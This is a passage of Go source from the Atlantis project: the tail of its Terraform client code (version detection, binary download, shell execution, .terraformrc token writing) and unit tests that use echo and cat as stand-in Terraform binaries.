locally is now the default. finalDefaultVersion = localVersion } } if defaultVersionStr != "" { defaultVersion, err := version.NewVersion(defaultVersionStr) if err != nil { return nil, err } finalDefaultVersion = defaultVersion ensureVersionFunc := func() { // Since ensureVersion might end up downloading terraform, // we call it asynchronously so as to not delay server startup. versionsLock.Lock() _, err := ensureVersion(log, distribution, versions, defaultVersion, binDir, tfDownloadURL, tfDownloadAllowed) versionsLock.Unlock() if err != nil { log.Err("could not download %s %s: %s", distribution.BinName(), defaultVersion.String(), err) } } if fetchAsync { go ensureVersionFunc() } else { ensureVersionFunc() } } // If tfeToken is set, we try to create a ~/.terraformrc file. if tfeToken != "" { home, err := homedir.Dir() if err != nil { return nil, fmt.Errorf("getting home dir to write ~/.terraformrc file: %w", err) } if err := generateRCFile(tfeToken, tfeHostname, home); err != nil { return nil, err } } return &DefaultClient{ distribution: distribution, defaultVersion: finalDefaultVersion, terraformPluginCacheDir: cacheDir, binDir: binDir, downloadBaseURL: tfDownloadURL, downloadAllowed: tfDownloadAllowed, versionsLock: &versionsLock, versions: versions, usePluginCache: usePluginCache, projectCmdOutputHandler: projectCmdOutputHandler, }, nil } func NewTestClient( log logging.SimpleLogging, distribution terraform.Distribution, binDir string, cacheDir string, tfeToken string, tfeHostname string, defaultVersionStr string, defaultVersionFlagName string, tfDownloadURL string, tfDownloadAllowed bool, usePluginCache bool, projectCmdOutputHandler jobs.ProjectCommandOutputHandler, ) (*DefaultClient, error) { return NewClientWithDefaultVersion( log, distribution, binDir, cacheDir, tfeToken, tfeHostname, defaultVersionStr, defaultVersionFlagName, tfDownloadURL, tfDownloadAllowed, usePluginCache, false, projectCmdOutputHandler, ) } // NewClient constructs a terraform client. // tfeToken is an optional terraform enterprise token. // defaultVersionStr is an optional default terraform version to use unless // a specific version is set. // defaultVersionFlagName is the name of the flag that sets the default terraform // version. // Will asynchronously download the required version if it doesn't exist already. func NewClient( log logging.SimpleLogging, distribution terraform.Distribution, binDir string, cacheDir string, tfeToken string, tfeHostname string, defaultVersionStr string, defaultVersionFlagName string, tfDownloadURL string, tfDownloadAllowed bool, usePluginCache bool, projectCmdOutputHandler jobs.ProjectCommandOutputHandler, ) (*DefaultClient, error) { return NewClientWithDefaultVersion( log, distribution, binDir, cacheDir, tfeToken, tfeHostname, defaultVersionStr, defaultVersionFlagName, tfDownloadURL, tfDownloadAllowed, usePluginCache, true, projectCmdOutputHandler, ) } func (c *DefaultClient) DefaultDistribution() terraform.Distribution { return c.distribution } // Version returns the default version of Terraform we use if no other version // is defined. func (c *DefaultClient) DefaultVersion() *version.Version { return c.defaultVersion } // TerraformBinDir returns the directory where we download Terraform binaries. func (c *DefaultClient) TerraformBinDir() string { return c.binDir } // ExtractExactRegex attempts to extract an exact version number from the provided string as a fallback. // The function expects the version string to be in one of the following formats: "= x.y.z", "=x.y.z", or "x.y.z" where x, y, and z are integers. // If the version string matches one of these formats, the function returns a slice containing the exact version number. // If the version string does not match any of these formats, the function logs a debug message and returns nil. func (c *DefaultClient) ExtractExactRegex(log logging.SimpleLogging, version string) []string { re := regexp.MustCompile(`^=?\s*([0-9.]+)\s*$`) matched := re.FindStringSubmatch(version) if len(matched) == 0 { log.Debug("exact version regex not found in the version %q", version) return nil } // The first element of the slice is the entire string, so we want the second element (the first capture group) tfVersions := []string{matched[1]} log.Debug("extracted exact version %q from version %q", tfVersions[0], version) return tfVersions } // DetectVersion extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version. // It will also try to evaluate non-exact matches by passing the Constraints to the hc-install Releases API, which will return a list of available versions. // It will then select the highest version that satisfies the constraint. func (c *DefaultClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version { module, diags := tfconfig.LoadModule(projectDirectory) if diags.HasErrors() { log.Err("trying to detect required version: %s", diags.Error()) } if len(module.RequiredCore) != 1 { log.Info("cannot determine which version to use from terraform configuration, detected %d possibilities.", len(module.RequiredCore)) return nil } requiredVersionSetting := module.RequiredCore[0] log.Debug("Found required_version setting of %q", requiredVersionSetting) if !c.downloadAllowed { log.Debug("terraform downloads disabled.") matched := c.ExtractExactRegex(log, requiredVersionSetting) if len(matched) == 0 { log.Debug("did not specify exact version in terraform configuration, found %q", requiredVersionSetting) return nil } version, err := version.NewVersion(matched[0]) if err != nil { log.Err("error parsing version string: %s", err) return nil } return version } downloadVersion, err := c.distribution.ResolveConstraint(context.Background(), requiredVersionSetting) if err != nil { log.Err("%s", err) return nil } return downloadVersion } // See Client.EnsureVersion. func (c *DefaultClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error { if v == nil { v = c.defaultVersion } var err error c.versionsLock.Lock() _, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed) c.versionsLock.Unlock() if err != nil { return err } return nil } // See Client.RunCommandWithVersion. func (c *DefaultClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) { if isAsyncEligibleCommand(args[0]) { _, outCh := c.RunCommandAsync(ctx, path, args, customEnvVars, d, v, workspace) var lines []string var err error for line := range outCh { if line.Err != nil { err = line.Err break } lines = append(lines, line.Line) } output := strings.Join(lines, "\n") // sanitize output by stripping out any ansi characters. output = ansi.Strip(output) return fmt.Sprintf("%s\n", output), err } tfCmd, cmd, err := c.prepExecCmd(ctx.Log, d, v, workspace, path, args) if err != nil { return "", err } envVars := cmd.Env for key, val := range customEnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) } cmd.Env = envVars start := time.Now() out, err := cmd.CombinedOutput() dur := time.Since(start) log := ctx.Log.With("duration", dur) if err != nil { err = fmt.Errorf("running '%s' in '%s': %w", tfCmd, path, err) log.Err(err.Error()) return ansi.Strip(string(out)), err } log.Info("Successfully ran '%s' in '%s'", tfCmd, path) return ansi.Strip(string(out)), nil } // prepExecCmd builds a ready to execute command based on the version of terraform // v, and args. It returns a printable representation of the command that will // be run and the actual command. func (c *DefaultClient) prepExecCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, *exec.Cmd, error) { tfCmd, envVars, err := c.prepCmd(log, d, v, workspace, path, args) if err != nil { return "", nil, err } cmd := exec.Command("sh", "-c", tfCmd) cmd.Dir = path cmd.Env = envVars return tfCmd, cmd, nil } // prepCmd prepares a shell command (to be interpreted with `sh -c `) and set of environment // variables for running terraform. func (c *DefaultClient) prepCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, []string, error) { if v == nil { v = c.defaultVersion } var binPath string if c.overrideTF != "" { // This is only set during testing. binPath = c.overrideTF } else { var err error c.versionsLock.Lock() binPath, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed) c.versionsLock.Unlock() if err != nil { return "", nil, err } } // We add custom variables so that if `extra_args` is specified with env // vars then they'll be substituted. envVars := []string{ // Will de-emphasize specific commands to run in output. "TF_IN_AUTOMATION=true", // Cache plugins so terraform init runs faster. fmt.Sprintf("WORKSPACE=%s", workspace), fmt.Sprintf("ATLANTIS_TERRAFORM_VERSION=%s", v.String()), fmt.Sprintf("DIR=%s", path), } if c.usePluginCache { envVars = append(envVars, fmt.Sprintf("TF_PLUGIN_CACHE_DIR=%s", c.terraformPluginCacheDir)) } // Append current Atlantis process's environment variables, ex. // AWS_ACCESS_KEY. envVars = append(envVars, os.Environ()...) tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " ")) return tfCmd, envVars, nil } // RunCommandAsync runs terraform with args. It immediately returns an // input and output channel. Callers can use the output channel to // get the realtime output from the command. // Callers can use the input channel to pass stdin input to the command. // If any error is passed on the out channel, there will be no // further output (so callers are free to exit). func (c *DefaultClient) RunCommandAsync(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan models.Line) { cmd, envVars, err := c.prepCmd(ctx.Log, d, v, workspace, path, args) if err != nil { // The signature of `RunCommandAsync` doesn't provide for returning an immediate error, only one // once reading the output. Since we won't be spawning a process, simulate that by sending the // errorcustomEnvVars to the output channel. outCh := make(chan models.Line) inCh := make(chan string) go func() { outCh <- models.Line{Err: err} close(outCh) close(inCh) }() return inCh, outCh } for key, val := range customEnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) } runner := models.NewShellCommandRunner(nil, cmd, envVars, path, true, c.projectCmdOutputHandler) inCh, outCh := runner.RunCommandAsync(ctx) return inCh, outCh } // MustConstraint will parse one or more constraints from the given // constraint string. The string must be a comma-separated list of // constraints. It panics if there is an error. func MustConstraint(v string) version.Constraints { c, err := version.NewConstraint(v) if err != nil { panic(err) } return c } // ensureVersion returns the path to a terraform binary of version v. // It will download this version if we don't have it. func ensureVersion( log logging.SimpleLogging, dist terraform.Distribution, versions map[string]string, v *version.Version, binDir string, downloadURL string, downloadsAllowed bool, ) (string, error) { if binPath, ok := versions[v.String()]; ok { return binPath, nil } // This tf version might not yet be in the versions map even though it // exists on disk. This would happen if users have manually added // terraform{version} binaries. In this case we don't want to re-download. binFile := dist.BinName() + v.String() if binPath, err := exec.LookPath(binFile); err == nil { versions[v.String()] = binPath return binPath, nil } // The version might also not be in the versions map if it's in our bin dir. // This could happen if Atlantis was restarted without losing its disk. dest := filepath.Join(binDir, binFile) if _, err := os.Stat(dest); err == nil { versions[v.String()] = dest return dest, nil } if !downloadsAllowed { return "", fmt.Errorf( "could not find %s version %s in PATH or %s, and downloads are disabled", dist.BinName(), v.String(), binDir, ) } log.Info("could not find %s version %s in PATH or %s", dist.BinName(), v.String(), binDir) log.Info("downloading %s version %s from download URL %s", dist.BinName(), v.String(), downloadURL) execPath, err := dist.Downloader().Install(context.Background(), binDir, downloadURL, v) if err != nil { return "", fmt.Errorf("error downloading %s version %s: %w", dist.BinName(), v.String(), err) } log.Info("Downloaded %s %s to %s", dist.BinName(), v.String(), execPath) versions[v.String()] = execPath return execPath, nil } // generateRCFile generates a .terraformrc file containing config for tfeToken // and hostname tfeHostname. // It will create the file in home/.terraformrc. func generateRCFile(tfeToken string, tfeHostname string, home string) error { const rcFilename = ".terraformrc" rcFile := filepath.Join(home, rcFilename) config := fmt.Sprintf(rcFileContents, tfeHostname, tfeToken) // If there is already a .terraformrc file and its contents aren't exactly // what we would have written to it, then we error out because we don't // want to overwrite anything. if _, err := os.Stat(rcFile); err == nil { currContents, err := os.ReadFile(rcFile) // nolint: gosec if err != nil { return fmt.Errorf("trying to read %s to ensure we're not overwriting it: %w", rcFile, err) } if config != string(currContents) { return fmt.Errorf("can't write TFE token to %s because that file has contents that would be overwritten", rcFile) } // Otherwise we don't need to write the file because it already has // what we need. return nil } if err := os.WriteFile(rcFile, []byte(config), 0600); err != nil { return fmt.Errorf("writing generated %s file with TFE token to %s: %w", rcFilename, rcFile, err) } return nil } func isAsyncEligibleCommand(cmd string) bool { for _, validCmd := range LogStreamingValidCmds { if validCmd == cmd { return true } } return false } func getVersion(tfBinary string, binName string) (*version.Version, error) { versionOutBytes, err := exec.Command(tfBinary, "version").Output() // #nosec versionOutput := string(versionOutBytes) if err != nil { return nil, fmt.Errorf("running %s version: %s: %w", binName, versionOutput, err) } match := versionRegex.FindStringSubmatch(versionOutput) if len(match) <= 1 { return nil, fmt.Errorf("could not parse %s version from %s", binName, versionOutput) } return version.NewVersion(match[1]) } // rcFileContents is a format string to be used with Sprintf that can be used // to generate the contents of a ~/.terraformrc file for authenticating with // Terraform Enterprise. var rcFileContents = `credentials "%s" { token = %q }` ================================================ FILE: server/core/terraform/tfclient/terraform_client_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package tfclient import ( "fmt" "os" "path/filepath" "strings" "testing" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/core/terraform" terraform_mocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" logmocks "github.com/runatlantis/atlantis/server/logging/mocks" . "github.com/runatlantis/atlantis/testing" ) // Test that we write the file as expected func TestGenerateRCFile_WritesFile(t *testing.T) { tmp := t.TempDir() err := generateRCFile("token", "hostname", tmp) Ok(t, err) expContents := `credentials "hostname" { token = "token" }` actContents, err := os.ReadFile(filepath.Join(tmp, ".terraformrc")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that if the file already exists and its contents will be modified if // we write our config that we error out. func TestGenerateRCFile_WillNotOverwrite(t *testing.T) { tmp := t.TempDir() rcFile := filepath.Join(tmp, ".terraformrc") err := os.WriteFile(rcFile, []byte("contents"), 0600) Ok(t, err) actErr := generateRCFile("token", "hostname", tmp) expErr := fmt.Sprintf("can't write TFE token to %s because that file has contents that would be overwritten", tmp+"/.terraformrc") ErrEquals(t, expErr, actErr) } // Test that if the file already exists and its contents will NOT be modified if // we write our config that we don't error. func TestGenerateRCFile_NoErrIfContentsSame(t *testing.T) { tmp := t.TempDir() rcFile := filepath.Join(tmp, ".terraformrc") contents := `credentials "app.terraform.io" { token = "token" }` err := os.WriteFile(rcFile, []byte(contents), 0600) Ok(t, err) err = generateRCFile("token", "app.terraform.io", tmp) Ok(t, err) } // Test that if we can't read the existing file to see if the contents will be // the same that we just error out. func TestGenerateRCFile_ErrIfCannotRead(t *testing.T) { tmp := t.TempDir() rcFile := filepath.Join(tmp, ".terraformrc") err := os.WriteFile(rcFile, []byte("can't see me!"), 0000) Ok(t, err) expErr := fmt.Sprintf("trying to read %s to ensure we're not overwriting it: open %s: permission denied", rcFile, rcFile) actErr := generateRCFile("token", "hostname", tmp) ErrEquals(t, expErr, actErr) } // Test that if we can't write, we error out. func TestGenerateRCFile_ErrIfCannotWrite(t *testing.T) { rcFile := "/this/dir/does/not/exist/.terraformrc" expErr := fmt.Sprintf("writing generated .terraformrc file with TFE token to %s: open %s: no such file or directory", rcFile, rcFile) actErr := generateRCFile("token", "hostname", "/this/dir/does/not/exist") ErrEquals(t, expErr, actErr) } // Test that it executes with the expected env vars. func TestDefaultClient_RunCommandWithVersion_EnvVars(t *testing.T) { v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logging.NewNoopLogger(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "echo", usePluginCache: true, projectCmdOutputHandler: projectCmdOutputHandler, } args := []string{ "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", "WORKSPACE=$WORKSPACE", "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", "DIR=$DIR", } customEnvVars := map[string]string{} mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) out, err := client.RunCommandWithVersion(ctx, tmp, args, customEnvVars, distribution, nil, "workspace") Ok(t, err) exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s\n", tmp, tmp) Equals(t, exp, out) } // Test that it returns an error on error. func TestDefaultClient_RunCommandWithVersion_Error(t *testing.T) { v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logging.NewNoopLogger(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "echo", projectCmdOutputHandler: projectCmdOutputHandler, } args := []string{ "dying", "&&", "exit", "1", } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) out, err := client.RunCommandWithVersion(ctx, tmp, args, map[string]string{}, distribution, nil, "workspace") ErrEquals(t, fmt.Sprintf(`running 'echo dying && exit 1' in '%s': exit status 1`, tmp), err) // Test that we still get our output. Equals(t, "dying\n", out) } func TestDefaultClient_RunCommandAsync_Success(t *testing.T) { RegisterMockTestingT(t) v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logmocks.NewMockSimpleLogging() When(logger.With(Any[string](), Any[any]())).ThenReturn(logger) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "echo", usePluginCache: true, projectCmdOutputHandler: projectCmdOutputHandler, } args := []string{ "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", "WORKSPACE=$WORKSPACE", "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", "DIR=$DIR", } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, outCh := client.RunCommandAsync(ctx, tmp, args, map[string]string{}, distribution, nil, "workspace") out, err := waitCh(outCh) Ok(t, err) exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s", tmp, tmp) Equals(t, exp, out) logger.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) } func TestDefaultClient_RunCommandAsync_BigOutput(t *testing.T) { RegisterMockTestingT(t) v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logmocks.NewMockSimpleLogging() When(logger.With(Any[string](), Any[any]())).ThenReturn(logger) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "cat", projectCmdOutputHandler: projectCmdOutputHandler, } filename := filepath.Join(tmp, "data") f, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) Ok(t, err) var exp strings.Builder for range 1024 { s := strings.Repeat("0", 10) + "\n" exp.WriteString(s) _, err = f.WriteString(s) Ok(t, err) } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, outCh := client.RunCommandAsync(ctx, tmp, []string{filename}, map[string]string{}, distribution, nil, "workspace") out, err := waitCh(outCh) Ok(t, err) Equals(t, strings.TrimRight(exp.String(), "\n"), out) logger.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) } func TestDefaultClient_RunCommandAsync_StderrOutput(t *testing.T) { RegisterMockTestingT(t) v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logmocks.NewMockSimpleLogging() When(logger.With(Any[string](), Any[any]())).ThenReturn(logger) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "echo", projectCmdOutputHandler: projectCmdOutputHandler, } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, outCh := client.RunCommandAsync(ctx, tmp, []string{"stderr", ">&2"}, map[string]string{}, distribution, nil, "workspace") out, err := waitCh(outCh) Ok(t, err) Equals(t, "stderr", out) logger.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) } func TestDefaultClient_RunCommandAsync_ExitOne(t *testing.T) { RegisterMockTestingT(t) v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logmocks.NewMockSimpleLogging() When(logger.With(Any[string](), Any[any]())).ThenReturn(logger) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "echo", projectCmdOutputHandler: projectCmdOutputHandler, } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, outCh := client.RunCommandAsync(ctx, tmp, []string{"dying", "&&", "exit", "1"}, map[string]string{}, distribution, nil, "workspace") out, err := waitCh(outCh) ErrEquals(t, fmt.Sprintf(`running 'sh -c' 'echo dying && exit 1' in '%s': exit status 1`, tmp), err) // Test that we still get our output. Equals(t, "dying", out) logger.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) } func TestDefaultClient_RunCommandAsync_Input(t *testing.T) { RegisterMockTestingT(t) v, err := version.NewVersion("0.11.11") Ok(t, err) tmp := t.TempDir() logger := logmocks.NewMockSimpleLogging() When(logger.With(Any[string](), Any[any]())).ThenReturn(logger) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, ProjectName: "projectname", Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } client := &DefaultClient{ defaultVersion: v, terraformPluginCacheDir: tmp, overrideTF: "read", projectCmdOutputHandler: projectCmdOutputHandler, } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) inCh, outCh := client.RunCommandAsync(ctx, tmp, []string{"a", "&&", "echo", "$a"}, map[string]string{}, distribution, nil, "workspace") inCh <- "echo me\n" out, err := waitCh(outCh) Ok(t, err) Equals(t, "echo me", out) logger.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) } func waitCh(ch <-chan runtimemodels.Line) (string, error) { var ls []string for line := range ch { if line.Err != nil { return strings.Join(ls, "\n"), line.Err } ls = append(ls, line.Line) } return strings.Join(ls, "\n"), nil } ================================================ FILE: server/core/terraform/tfclient/terraform_client_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package tfclient_test import ( "context" "fmt" "os" "path/filepath" "reflect" "strings" "testing" "time" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" "github.com/runatlantis/atlantis/server/core/terraform/tfclient" "github.com/runatlantis/atlantis/server/events/command" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestMustConstraint_PanicsOnBadConstraint(t *testing.T) { t.Log("MustConstraint should panic on a bad constraint") defer func() { if r := recover(); r == nil { t.Errorf("The code did not panic") } }() tfclient.MustConstraint("invalid constraint") } func TestMustConstraint(t *testing.T) { t.Log("MustConstraint should return the constrain") c := tfclient.MustConstraint(">0.1") expectedConstraint, err := version.NewConstraint(">0.1") Ok(t, err) Equals(t, expectedConstraint.String(), c.String()) } // Test that if terraform is in path and we're not setting the default-tf flag, // that we use that version as our default version. func TestNewClient_LocalTFOnly(t *testing.T) { fakeBinOut := `Terraform v0.11.10 Your version of Terraform is out of date! The latest version is 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads ` tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } logger := logging.NewNoopLogger(t) // We're testing this by adding our own "fake" terraform binary to path that // outputs what would normally come from terraform version. err := os.WriteFile(filepath.Join(tmp, "terraform"), fmt.Appendf(nil, "#!/bin/sh\necho '%s'", fakeBinOut), 0700) // #nosec G306 Ok(t, err) defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{"test": "123"}, distribution, nil, "") Ok(t, err) Equals(t, fakeBinOut+"\n", output) } // Test that if terraform is in path and the default-tf flag is set to the // same version that we don't download anything. func TestNewClient_LocalTFMatchesFlag(t *testing.T) { fakeBinOut := `Terraform v0.11.10 Your version of Terraform is out of date! The latest version is 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads ` logger := logging.NewNoopLogger(t) tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } // We're testing this by adding our own "fake" terraform binary to path that // outputs what would normally come from terraform version. err := os.WriteFile(filepath.Join(tmp, "terraform"), fmt.Appendf(nil, "#!/bin/sh\necho '%s'", fakeBinOut), 0700) // #nosec G306 Ok(t, err) defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") Ok(t, err) Equals(t, fakeBinOut+"\n", output) } // Test that if terraform is not in PATH and we didn't set the default-tf flag // that we error. func TestNewClient_NoTF(t *testing.T) { logger := logging.NewNoopLogger(t) tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() // Set PATH to only include our empty directory. defer tempSetEnv(t, "PATH", tmp)() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) ErrEquals(t, "terraform not found in $PATH. Set --default-tf-version or download terraform from https://developer.hashicorp.com/terraform/downloads", err) } // Test that if the default-tf flag is set and that binary is in our PATH // that we use it. func TestNewClient_DefaultTFFlagInPath(t *testing.T) { fakeBinOut := "Terraform v0.11.10\n" logger := logging.NewNoopLogger(t) tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } // We're testing this by adding our own "fake" terraform binary to path that // outputs what would normally come from terraform version. err := os.WriteFile(filepath.Join(tmp, "terraform0.11.10"), fmt.Appendf(nil, "#!/bin/sh\necho '%s'", fakeBinOut), 0700) // #nosec G306 Ok(t, err) defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, false, true, projectCmdOutputHandler) Ok(t, err) Ok(t, err) Equals(t, 